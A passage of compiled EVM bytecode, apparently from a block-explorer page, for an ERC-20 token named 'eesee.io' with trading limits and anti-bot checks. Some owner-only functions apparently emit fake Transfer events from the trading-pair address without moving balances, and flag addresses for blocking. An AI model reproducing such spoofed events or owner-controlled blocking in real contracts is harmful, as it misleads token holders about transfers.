fffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f9906131b5565b60405180910390fd5b60008111611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90613247565b60405180910390fd5b600061154f610e23565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115bd575061158d610e23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b525760006007541180156115d5575060075443115b156115e4576115e3846120ec565b5b6116216064611613600c54600f54101561160057600854611604565b600a545b8561223490919063ffffffff16565b6122af90919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116ce5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611896574360075414156117cd57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611769576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611760906132d9565b60405180910390fd5b6009600a6117779190612c54565b6301312d006117869190612c9f565b8211156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf90613345565b60405180910390fd5b611895565b601154821115611812576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611809906133b1565b60405180910390fd5b6012548261181f85610c05565b61182991906133d1565b111561186a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186190613473565b60405180910390fd5b43600160075461187a91906133d1565b111561189457611889836122f9565b1561189357600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561193e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199c576012548261195085610c05565b61195a91906133d1565b111561199b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199290613473565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957611a666064611a58600d54600f5411611a4557600954611a49565b600b545b8561223490919063ffffffff16565b6122af90919063ffffffff16565b90505b6000611a7430610c05565b9050601760159054906101000a900460ff16158015611ae05750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af85750601760169054906101000a900460ff165b8015611b05575060135481115b8015611b145750600e54600f54115b15611b5057611b36611b3184611b2c8460145461230c565b61230c565b611e73565b60004790506000811115611b4e57611b4d47612325565b5b505b505b6000811115611c5657611bad81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239190919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c4d9190612684565b60405180910390a35b611ca882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4f611d0182846123ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611df484866123ef90919063ffffffff16565b604051611e019190612684565b60405180910390a350505050565b6000838311158290611e57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4e9190612535565b60405180910390fd5b5060008385611e669190613493565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611eab57611eaa61281a565b5b604051908082528060200260200182016040528015611ed95781602001602082028036833780820191505090505b5090503081600081518110611ef157611ef0612cf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbc91906134dc565b81600181518110611fd057611fcf612cf9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203730601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611257565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209b959493929190613602565b600060405180830381600087803b1580156120b557600080fd5b505af11580156120c9573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120fa9190612c54565b64174876e80061210a9190612c9f565b6011819055506009600a61211e9190612c54565b64174876e80061212e9190612c9f565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121dd57600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121dc57600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61220c9190612c54565b64174876e80061221c9190612c9f565b6040516122299190612684565b60405180910390a150565b60008083141561224757600090506122a9565b600082846122559190612c9f565b9050828482612264919061368b565b146122a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229b9061372e565b60405180910390fd5b809150505b92915050565b60006122f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612439565b905092915050565b600080823b905060008111915050919050565b600081831161231b578261231d565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238d573d6000803e3d6000fd5b5050565b60008082846123a091906133d1565b9050838110156123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc9061379a565b60405180910390fd5b8091505092915050565b600061243183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0f565b905092915050565b60008083118290612480576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124779190612535565b60405180910390fd5b506000838561248f919061368b565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124d65780820151818401526020810190506124bb565b838111156124e5576000848401525b50505050565b6000601f19601f8301169050919050565b60006125078261249c565b61251181856124a7565b93506125218185602086016124b8565b61252a816124eb565b840191505092915050565b6000602082019050818103600083015261254f81846124fc565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125968261256b565b9050919050565b6125a68161258b565b81146125b157600080fd5b50565b6000813590506125c38161259d565b92915050565b6000819050919050565b6125dc816125c9565b81146125e757600080fd5b50565b6000813590506125f9816125d3565b92915050565b6000806040838503121561261657612615612561565b5b6000612624858286016125b4565b9250506020612635858286016125ea565b9150509250929050565b60008115159050919050565b6126548161263f565b82525050565b600060208201905061266f600083018461264b565b92915050565b61267e816125c9565b82525050565b60006020820190506126996000830184612675565b92915050565b6000806000606084860312156126b8576126b7612561565b5b60006126c6868287016125b4565b93505060206126d7868287016125b4565b92505060406126e8868287016125ea565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612717576127166126f2565b5b8235905067ffffffffffffffff811115612734576127336126f7565b5b6020830191508360208202830111156127505761274f6126fc565b5b9250929050565b6000806000604084860312156127705761276f612561565b5b600084013567ffffffffffffffff81111561278e5761278d612566565b5b61279a86828701612701565b935093505060206127ad868287016125ea565b9150509250925092565b600060ff82169050919050565b6127cd816127b7565b82525050565b60006020820190506127e860008301846127c4565b92915050565b6127f78161263f565b811461280257600080fd5b50565b600081359050612814816127ee565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612852826124eb565b810181811067ffffffffffffffff821117156128715761287061281a565b5b80604052505050565b6000612884612557565b90506128908282612849565b919050565b600067ffffffffffffffff8211156128b0576128af61281a565b5b602082029050602081019050919050565b60006128d46128cf84612895565b61287a565b905080838252602082019050602084028301858111156128f7576128f66126fc565b5b835b81811015612920578061290c88826125b4565b8452602084019350506020810190506128f9565b5050509392505050565b600082601f83011261293f5761293e6126f2565b5b813561294f8482602086016128c1565b91505092915050565b6000806040838503121561296f5761296e612561565b5b600061297d85828601612805565b925050602083013567ffffffffffffffff81111561299e5761299d612566565b5b6129aa8582860161292a565b9150509250929050565b6000602082840312156129ca576129c9612561565b5b60006129d8848285016125b4565b91505092915050565b6000819050919050565b6000612a06612a016129fc8461256b565b6129e1565b61256b565b9050919050565b6000612a18826129eb565b9050919050565b6000612a2a82612a0d565b9050919050565b612a3a81612a1f565b82525050565b6000602082019050612a556000830184612a31565b92915050565b612a648161258b565b82525050565b6000602082019050612a7f6000830184612a5b565b92915050565b600060208284031215612a9b57612a9a612561565b5b6000612aa9848285016125ea565b91505092915050565b60008060408385031215612ac957612ac8612561565b5b6000612ad7858286016125b4565b9250506020612ae8858286016125b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b7857808604811115612b5457612b53612af2565b5b6001851615612b635780820291505b8081029050612b7185612b21565b9450612b38565b94509492505050565b600082612b915760019050612c4d565b81612b9f5760009050612c4d565b8160018114612bb55760028114612bbf57612bee565b6001915050612c4d565b60ff841115612bd157612bd0612af2565b5b8360020a915084821115612be857612be7612af2565b5b50612c4d565b5060208310610133831016604e8410600b8410161715612c235782820a905083811115612c1e57612c1d612af2565b5b612c4d565b612c308484846001612b2e565b92509050818404811115612c4757612c46612af2565b5b81810290505b9392505050565b6000612c5f826125c9565b9150612c6a836127b7565b9250612c977fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b81565b905092915050565b6000612caa826125c9565b9150612cb5836125c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cee57612ced612af2565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d33826125c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d6657612d65612af2565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612da76020836124a7565b9150612db282612d71565b602082019050919050565b60006020820190508181036000830152612dd681612d9a565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612e13601f836124a7565b9150612e1e82612ddd565b602082019050919050565b60006020820190508181036000830152612e4281612e06565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e7f601b836124a7565b9150612e8a82612e49565b602082019050919050565b60006020820190508181036000830152612eae81612e72565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612eeb600c836124a7565b9150612ef682612eb5565b602082019050919050565b60006020820190508181036000830152612f1a81612ede565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f576017836124a7565b9150612f6282612f21565b602082019050919050565b60006020820190508181036000830152612f8681612f4a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fe96024836124a7565b9150612ff482612f8d565b604082019050919050565b6000602082019050818103600083015261301881612fdc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061307b6022836124a7565b91506130868261301f565b604082019050919050565b600060208201905081810360008301526130aa8161306e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061310d6025836124a7565b9150613118826130b1565b604082019050919050565b6000602082019050818103600083015261313c81613100565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061319f6023836124a7565b91506131aa82613143565b604082019050919050565b600060208201905081810360008301526131ce81613192565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132316029836124a7565b915061323c826131d5565b604082019050919050565b6000602082019050818103600083015261326081613224565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b60006132c3602b836124a7565b91506132ce82613267565b604082019050919050565b600060208201905081810360008301526132f2816132b6565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b600061332f601a836124a7565b915061333a826132f9565b602082019050919050565b6000602082019050818103600083015261335e81613322565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b600061339b6018836124a7565b91506133a682613365565b602082019050919050565b600060208201905081810360008301526133ca8161338e565b9050919050565b60006133dc826125c9565b91506133e7836125c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561341c5761341b612af2565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061345d601a836124a7565b915061346882613427565b602082019050919050565b6000602082019050818103600083015261348c81613450565b9050919050565b600061349e826125c9565b91506134a9836125c9565b9250828210156134bc576134bb612af2565b5b828203905092915050565b6000815190506134d68161259d565b92915050565b6000602082840312156134f2576134f1612561565b5b6000613500848285016134c7565b91505092915050565b6000819050919050565b600061352e61352961352484613509565b6129e1565b6125c9565b9050919050565b61353e81613513565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135798161258b565b82525050565b600061358b8383613570565b60208301905092915050565b6000602082019050919050565b60006135af82613544565b6135b9818561354f565b93506135c483613560565b8060005b838110156135f55781516135dc888261357f565b97506135e783613597565b9250506001810190506135c8565b5085935050505092915050565b600060a0820190506136176000830188612675565b6136246020830187613535565b818103604083015261363681866135a4565b90506136456060830185612a5b565b6136526080830184612675565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613696826125c9565b91506136a1836125c9565b9250826136b1576136b061365c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137186021836124a7565b9150613723826136bc565b604082019050919050565b600060208201905081810360008301526137478161370b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613784601b836124a7565b915061378f8261374e565b602082019050919050565b600060208201905081810360008301526137b381613777565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c29e9c08a7d56f3bf8aa4649cf99620b37b78ea0be4e35af5e9f086858a0e3f64736f6c634300080a00330000000000000000000000002a8dbabfd72cef425b1187e5edb67967a8bc9bee

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80637d1db4a5116100f7578063b70143c911610095578063c9567bf911610064578063c9567bf91461062f578063dd62ed3e14610646578063e1b1925814610683578063ffb54a99146106ae576101cd565b8063b70143c914610587578063baeb7a7d146105b0578063bf474bed146105db578063c2b7bbb614610606576101cd565b80638da5cb5b116100d15780638da5cb5b146104c95780638f9a55c0146104f457806395d89b411461051f578063a9059cbb1461054a576101cd565b80637d1db4a5146104365780638aceaab0146104615780638bdb2afa1461049e576101cd565b80633b7cdccd11610164578063538684901161013e578063538684901461038e578063704da678146103b957806370a08231146103e2578063715018a61461041f576101cd565b80633b7cdccd146103215780633ccfd60b1461034c5780633ef9472114610363576101cd565b806318160ddd116101a057806318160ddd1461026557806323b872dd1461029057806326ededb8146102cd578063313ce567146102f6576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630faee56f1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106d9565b6040516101f49190612535565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f91906125ff565b610716565b604051610231919061265a565b60405180910390f35b34801561024657600080fd5b5061024f610734565b60405161025c9190612684565b60405180910390f35b34801561027157600080fd5b5061027a61073a565b6040516102879190612684565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b2919061269f565b61075f565b6040516102c4919061265a565b60405180910390f35b3480156102d957600080fd5b506102f460048036038101906102ef9190612757565b610838565b005b34801561030257600080fd5b5061030b61096e565b60405161031891906127d3565b60405180910390f35b34801561032d57600080fd5b50610336610977565b6040516103439190612684565b60405180910390f35b34801561035857600080fd5b5061036161097d565b005b34801561036f57600080fd5b50610378610afb565b6040516103859190612684565b60405180910390f35b34801561039a57600080fd5b506103a3610b01565b6040516103b09190612684565b60405180910390f35b3480156103c557600080fd5b506103e060048036038101906103db9190612958565b610b09565b005b3480156103ee57600080fd5b50610409600480360381019061040491906129b4565b610c05565b6040516104169190612684565b60405180910390f35b34801561042b57600080fd5b50610434610c4e565b005b34801561044257600080fd5b5061044b610da1565b6040516104589190612684565b60405180910390f35b34801561046d57600080fd5b50610488600480360381019061048391906129b4565b610da7565b604051610495919061265a565b60405180910390f35b3480156104aa57600080fd5b506104b3610dfd565b6040516104c09190612a40565b60405180910390f35b3480156104d557600080fd5b506104de610e23565b6040516104eb9190612a6a565b60405180910390f35b34801561050057600080fd5b50610509610e4c565b6040516105169190612684565b60405180910390f35b34801561052b57600080fd5b50610534610e52565b6040516105419190612535565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906125ff565b610e8f565b60405161057e919061265a565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612a85565b610ead565b005b3480156105bc57600080fd5b506105c5610fda565b6040516105d29190612684565b60405180910390f35b3480156105e757600080fd5b506105f0610fe0565b6040516105fd9190612684565b60405180910390f35b34801561061257600080fd5b5061062d600480360381019061062891906129b4565b610fe6565b005b34801561063b57600080fd5b5061064461108b565b005b34801561065257600080fd5b5061066d60048036038101906106689190612ab2565b6111af565b60405161067a9190612684565b60405180910390f35b34801561068f57600080fd5b50610698611236565b6040516106a59190612684565b60405180910390f35b3480156106ba57600080fd5b506106c361123c565b6040516106d0919061265a565b60405180910390f35b60606040518060400160405280600881526020017f65657365652e696f000000000000000000000000000000000000000000000000815250905090565b600061072a61072361124f565b8484611257565b6001905092915050565b60145481565b60006009600a61074a9190612c54565b64174876e80061075a9190612c9f565b905090565b600061076c848484611422565b61082d8461077861124f565b610828856040518060600160405280602881526020016137bb60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107de61124f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0f9092919063ffffffff16565b611257565b600190509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087961124f565b73ffffffffffffffffffffffffffffffffffffffff161461089957600080fd5b60005b83839050811015610968578383828181106108ba576108b9612cf9565b5b90506020020160208101906108cf91906129b4565b73ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161094d9190612684565b60405180910390a3808061096090612d28565b91505061089c565b50505050565b60006009905090565b60085481565b61098561124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0990612dbd565b60405180910390fd5b601760149054906101000a900460ff1615610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990612e29565b60405180910390fd5b600047905060008111610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190612e95565b60405180910390fd5b610ab2610e23565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610af7573d6000803e3d6000fd5b5050565b600b5481565b60005a905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4a61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610b6a57600080fd5b60005b8151811015610c00576000828281518110610b8b57610b8a612cf9565b5b6020026020010151905083600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508180610bf790612d28565b92505050610b6d565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c5661124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cda90612dbd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600581526020017f4545534545000000000000000000000000000000000000000000000000000000815250905090565b6000610ea3610e9c61124f565b8484611422565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610eee61124f565b73ffffffffffffffffffffffffffffffffffffffff1614610f0e57600080fd5b610f1730610c05565b8111158015610f265750600081115b610f65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5c90612f01565b60405180910390fd5b610f6e81611e73565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610fd6573d6000803e3d6000fd5b5050565b600a5481565b60135481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661102761124f565b73ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61109361124f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612dbd565b60405180910390fd5b601760149054906101000a900460ff1615611170576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116790612f6d565b60405180910390fd5b6001601760166101000a81548160ff0219169083151502179055506001601760146101000a81548160ff02191690831515021790555043600781905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60095481565b601760149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90612fff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611337576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132e90613091565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114159190612684565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611492576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148990613123565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f9906131b5565b60405180910390fd5b60008111611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c90613247565b60405180910390fd5b600061154f610e23565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156115bd575061158d610e23565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b525760006007541180156115d5575060075443115b156115e4576115e3846120ec565b5b6116216064611613600c54600f54101561160057600854611604565b600a545b8561223490919063ffffffff16565b6122af90919063ffffffff16565b9050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116ce5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611896574360075414156117cd57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611769576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611760906132d9565b60405180910390fd5b6009600a6117779190612c54565b6301312d006117869190612c9f565b8211156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf90613345565b60405180910390fd5b611895565b601154821115611812576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611809906133b1565b60405180910390fd5b6012548261181f85610c05565b61182991906133d1565b111561186a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186190613473565b60405180910390fd5b43600160075461187a91906133d1565b111561189457611889836122f9565b1561189357600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561193e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199c576012548261195085610c05565b61195a91906133d1565b111561199b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199290613473565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2557503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957611a666064611a58600d54600f5411611a4557600954611a49565b600b545b8561223490919063ffffffff16565b6122af90919063ffffffff16565b90505b6000611a7430610c05565b9050601760159054906101000a900460ff16158015611ae05750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af85750601760169054906101000a900460ff165b8015611b05575060135481115b8015611b145750600e54600f54115b15611b5057611b36611b3184611b2c8460145461230c565b61230c565b611e73565b60004790506000811115611b4e57611b4d47612325565b5b505b505b6000811115611c5657611bad81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239190919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c4d9190612684565b60405180910390a35b611ca882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4f611d0182846123ef90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461239190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffff